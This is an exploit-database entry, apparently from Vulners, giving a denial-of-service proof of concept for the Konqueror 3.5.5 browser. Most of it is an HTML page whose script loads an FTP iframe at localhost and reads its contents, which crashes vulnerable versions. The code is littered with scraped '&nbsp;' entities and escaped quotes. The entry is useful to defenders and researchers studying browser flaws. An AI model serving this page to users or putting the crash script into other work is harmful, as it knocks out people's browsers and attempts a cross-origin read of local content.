Konqueror 3.5.5 (JavaScript Read of FTP Iframe) DoS Exploit

🗓️ 08 Mar 2007 00:00:00Reported by RootType

Konqueror 3.5.5 FTP Iframe DoS exploit demonstratio


                                                <html>
<body>

Demo&nbsp;of&nbsp;how&nbsp;to&nbsp;make&nbsp;Konqueror&nbsp;3.5.5&nbsp;crash&nbsp;by&nbsp;[email protected].<p>
Simply&nbsp;load&nbsp;this&nbsp;file&nbsp;in&nbsp;Konqueror.&nbsp;&nbsp;Vulnerable&nbsp;versions&nbsp;should&nbsp;segfault&nbsp;instantly&nbsp;with&nbsp;a&nbsp;null&nbsp;pointer&nbsp;exception.<p>
<p>

<script>
read_iframe&nbsp;=&nbsp;function(iframe_name)&nbsp;{
	var&nbsp;banner&nbsp;=&nbsp;document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
	alert(banner);
}

var&nbsp;iframe&nbsp;=&nbsp;document.createElement(\"IFRAME\");
iframe.setAttribute(\"src\",&nbsp;\'ftp://localhost/anything\');
iframe.setAttribute(\"name\",&nbsp;\'myiframe\');
iframe.setAttribute(\"id\",&nbsp;\'myiframe\');
iframe.setAttribute(\"onload\",&nbsp;\'read_iframe(\"myiframe\")\');
iframe.style.width&nbsp;=&nbsp;\"100px\";
iframe.style.height&nbsp;=&nbsp;\"100px\";
	
document.body.appendChild(iframe);

</script>
</body>
</html>

&nbsp;

08 Mar 2007 00:00Current

7.1High risk

Vulners AI Score7.1